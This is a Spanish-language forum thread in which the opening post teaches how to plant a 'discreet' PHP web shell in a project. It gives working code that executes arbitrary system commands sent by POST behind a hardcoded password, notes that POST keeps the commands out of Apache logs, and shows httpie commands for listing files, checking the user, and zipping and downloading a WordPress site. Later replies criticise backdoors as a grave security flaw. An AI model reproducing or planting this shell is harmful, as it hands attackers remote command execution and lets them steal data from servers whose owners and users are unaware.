freishner

Capo
Se incorporó
16 Noviembre 2021
Mensajes
436
En ésta ocasión, voy a tratar un tema un poco mas interesante, un acceso discreto, que vamos a poder plantar en nuestro proyecto PHP.

Razones hay varias:
  • Acceso automatizado
  • Recepción de comandos de mantenimiento
  • Acceso de respaldo
  • Comodidad
  • Prevención en el uso no autorizado de nuestro software
Cualquiera que sea la razón, espero que no sea una que involucre actividades ilícitas.

La shell

Un script sencillo que nos permitirá el acceso por peticiones HTTP al sistema de turno en donde esté nuestro software PHP.

PHP:
if (!isset($_POST['k'])) {
    http_response_code(404);
    exit;
}

if ($_POST['k'] !== '1234') {
    http_response_code(404);
    exit;
}

if (isset($_POST['c'])) {
    system($_REQUEST['c'], $r);
    http_response_code(201);
    exit;
}

Funcionamiento:

El script recibe requests usando el método HTTP POST, por lo tanto la data se extrae desde la variable $_POST. Luego tenemos dos parámetros en el PAYLOAD:
  • k: password (previene el uso no autorizado).
  • c: el comando propiamente que será ejecutado en el sistema del servidor.
Nota:
El uso de POST no deja rastros del payload, al menos en apache con la configuración estándar. Sólo quedarán los registros del recurso con la IP que los consume. Para habilitar tal configuración mirar acá.

La función system ejecutará los comandos desde el payload y nos enviará de regreso los resultados.

Importante:
En algunos servidores no está disponible. Tal como se describe acá.

Cuidado:
Ciertas operaciones podríam demorar y el request pudiera quedar esperando. Ojo con el timeout de PHP para el tiempo de ejecución de archivos.

Ejemplos:

Para tales efectos podemos usar nuestro cliente HTTP favorito, en mi caso httpie.

Instalación en Ubuntu/debian/mate:

Código:
sudo apt-get install -y httpie

Algunos comandos de httpie:
  • -b: Muestra solo el body de la respuesta HTTP.
  • -f Envía la cabecera "Content-Type: application/x-www-form-urlencoded; charset=utf-8"
Forma de uso:
Código:
http [OPCIONES][MÉTODO HTTP][URL][DATA]

DATA corresponde al payload o los campos del form que recibirá PHP en la variable $_POST['CAMPO']. Se especificarían de la siguiente forma (respetando las comillas dobles):

Código:
campo="VALOR DEL CAMPO"

Nota:
Los siguientes ejemplos los ejecuto en un servidor docker local con debian. Por lo que los comandos serán para bash. Ésto pudiera variar en su servidor de trabajo.

Listar el contenido de la carpeta actual:
Código:
http -b -f POST http://IP/shell.php k=1234 c="ls"

1665972676754.png

Verificar la disponibilidad de un comando:
Código:
http -b -f POST http://IP/shell.php k=1234 c="which ls"

1665972808421.png


Verificar el usuario con el que ejecutamos comandos actualmente:
Código:
http -b -f POST http://IP/shell.php k=1234 c="whoami"

1665972925800.png


Crear un respaldo del directorio actual:
Código:
http -b -f POST http://IP/shell.php k=1234 c="zip -r bkp.zip ."

Nota:
Ésto requiere permisos de usuario.

Tendríamos una salida como la siguiente luego de X tiempo (crear el zip demora su resto).
Código:
  ...
  adding: wp-includes/SimplePie/Content/ (stored 0%)
  adding: wp-includes/SimplePie/Content/Type/ (stored 0%)
  adding: wp-includes/SimplePie/Content/Type/Sniffer.php (deflated 70%)
  adding: wp-includes/SimplePie/Source.php (deflated 85%)
  adding: wp-includes/SimplePie/Item.php (deflated 88%)
  adding: wp-includes/SimplePie/Registry.php (deflated 62%)
  adding: wp-includes/SimplePie/Credit.php (deflated 58%)
  adding: wp-includes/class-wp-feed-cache.php (deflated 52%)
  adding: wp-includes/feed.php (deflated 74%)
  adding: wp-includes/l10n.php (deflated 81%)
  adding: wp-includes/class-phpass.php (deflated 65%)
  adding: wp-includes/ms-settings.php (deflated 63%)
  adding: wp-includes/class-simplepie.php (deflated 79%)
  adding: wp-includes/ms-blogs.php (deflated 78%)
  adding: wp-includes/taxonomy.php (deflated 78%)
  ...

Una vez terminado el respaldo lo podríamos descargar desde el navegador o con alguna herramienta, en mi caso utilizaré wget.
Código:
wget http://IP/bkp.zip


Importante:
No olvidarse de borrar el respaldo para evitar comprometer la seguridad del servidor con lo que sea que hallamos descargado.

Conclusión:

Hemos visto como utilizar una shell sencilla y práctica escrita en PHP, pero que se puede portar a tu lenguaje favorito. Permitiendo variedad de usos.
 

unreal4u

I solve problems.
Miembro del Equipo
ADMIN
Se incorporó
2 Octubre 2005
Mensajes
13.601
buena guía, pero pequeño disclaimer: cualquier backdoor que uno incluya es una pifia de seguridad tremenda y con el suficiente tiempo será descubierto en algún minuto.

Cuando eso ocurra, lo más suavecito que harán con el servidor es dejarlo minando. Eso puede tener consecuencias en una forma que te pueden cancelar el contrato del servidor, pero aparte de eso está bueno como enseñanza de lo que NO hay que hacer.

Saludos.
 
Upvote 0

freishner

Capo
Se incorporó
16 Noviembre 2021
Mensajes
436
buena guía, pero pequeño disclaimer: cualquier backdoor que uno incluya es una pifia de seguridad tremenda y con el suficiente tiempo será descubierto en algún minuto.

Cuando eso ocurra, lo más suavecito que harán con el servidor es dejarlo minando. Eso puede tener consecuencias en una forma que te pueden cancelar el contrato del servidor, pero aparte de eso está bueno como enseñanza de lo que NO hay que hacer.

Saludos.
Yo difiero enormemente, hace falta harto tiempo para que alguien logre dar por fuerza bruta con las key que se reciben por POST además de con el password. Así mismo, se puede modificar y proteger para aceptar solicitudes de una ip específica y etc. El artículo es una ilustración del funcionamiento mínimo, que lo ocupen tal cual, es tema a parte.

Es mas probable que ingresen por una vulnerabilidad del web server o del mismo sitio, pero no por la shell.

En lo que si podría concordar, al tener el acceso de mantenimiento, hay que poder monitorearlo, quizá aborde eso en otro artículo.


Update: me sigue dando vueltas ésto, cuando tenga tiempo lo voy a desarrollar y lo pongo en otro artículo. Me tinca que éste tema tiene harto que desgranar todavía.
 
Última modificación:
Upvote 0

unreal4u

I solve problems.
Miembro del Equipo
ADMIN
Se incorporó
2 Octubre 2005
Mensajes
13.601
Yo difiero enormemente, hace falta harto tiempo para que alguien logre dar por fuerza bruta con las key que se reciben por POST además de con el password. Así mismo, se puede modificar y proteger para aceptar solicitudes de una ip específica y etc. El artículo es una ilustración del funcionamiento mínimo, que lo ocupen tal cual, es tema a parte.

Es mas probable que ingresen por una vulnerabilidad del web server o del mismo sitio, pero no por la shell.

En lo que si podría concordar, al tener el acceso de mantenimiento, hay que poder monitorearlo, quizá aborde eso en otro artículo.


Update: me sigue dando vueltas ésto, cuando tenga tiempo lo voy a desarrollar y lo pongo en otro artículo. Me tinca que éste tema tiene harto que desgranar todavía.
Si eres admin o por lo menos puedes determinar qué código queda online, cómo es posiblemente una buena idea instalar un backdoor? Por qué no utilizar las herramientas propias del sistema o instalar plugins reconocidos que hagan la pega que quieres? Esto va contra cualquier buena práctica que es acotar permisos de la mejor forma posible y mantener una auditoría sana mediante el uso de las herramientas del sistema.

Y perdóname, pero la gran mayoría entra no por vulnerabilidades del servidor web, sino que por código mal escrito que deja abierta la posibilidad de tener backdoors... como lo que estás describiendo aquí! El código que presentas no hace ninguna auditoría, no explicas en ningún lado que tienes que acotar acceso de alguna forma (aceptar algunas IP's en específico tb se ve como mala práctica en la industria, es preferible usar métodos de autentificación más seguras, como keypairs o sistemas automatizados) y tampoco tienes rate limiting configurado. Podría soltar un diccionario y lo más probable es que dp de algunos días tenga acceso completo al sistema. Hint: hay plugins que justamente introducen rate limiting al sistema de autentificación propio de WP que es la mejor forma de autentificarse.

Mucho más desarrollo o desgranaje que eso no necesitas: instalar un backdoor es una mala idea (ahí tienes 7 ejemplos pero hay muchísimos más, desde Whatsapp hasta simples páginas en WP), una pésima práctica y a la larga siempre será descubierto y aprovechado.

Saludos.
 
Upvote 0

Mesita

Capo
Se incorporó
3 Mayo 2007
Mensajes
100
Si eres admin o por lo menos puedes determinar qué código queda online, cómo es posiblemente una buena idea instalar un backdoor? Por qué no utilizar las herramientas propias del sistema o instalar plugins reconocidos que hagan la pega que quieres? Esto va contra cualquier buena práctica que es acotar permisos de la mejor forma posible y mantener una auditoría sana mediante el uso de las herramientas del sistema.

Y perdóname, pero la gran mayoría entra no por vulnerabilidades del servidor web, sino que por código mal escrito que deja abierta la posibilidad de tener backdoors... como lo que estás describiendo aquí! El código que presentas no hace ninguna auditoría, no explicas en ningún lado que tienes que acotar acceso de alguna forma (aceptar algunas IP's en específico tb se ve como mala práctica en la industria, es preferible usar métodos de autentificación más seguras, como keypairs o sistemas automatizados) y tampoco tienes rate limiting configurado. Podría soltar un diccionario y lo más probable es que dp de algunos días tenga acceso completo al sistema. Hint: hay plugins que justamente introducen rate limiting al sistema de autentificación propio de WP que es la mejor forma de autentificarse.

Mucho más desarrollo o desgranaje que eso no necesitas: instalar un backdoor es una mala idea (ahí tienes 7 ejemplos pero hay muchísimos más, desde Whatsapp hasta simples páginas en WP), una pésima práctica y a la larga siempre será descubierto y aprovechado.

Saludos.
+1

Un backdoor es muy mala práctica. Además que permitir ejecutar cualquier comando es realmente peligroso.
Hay que tener bastante cuidado con los accesos y permisos que se otorgan para acceder a sistemas remotos.
 
Upvote 0
Subir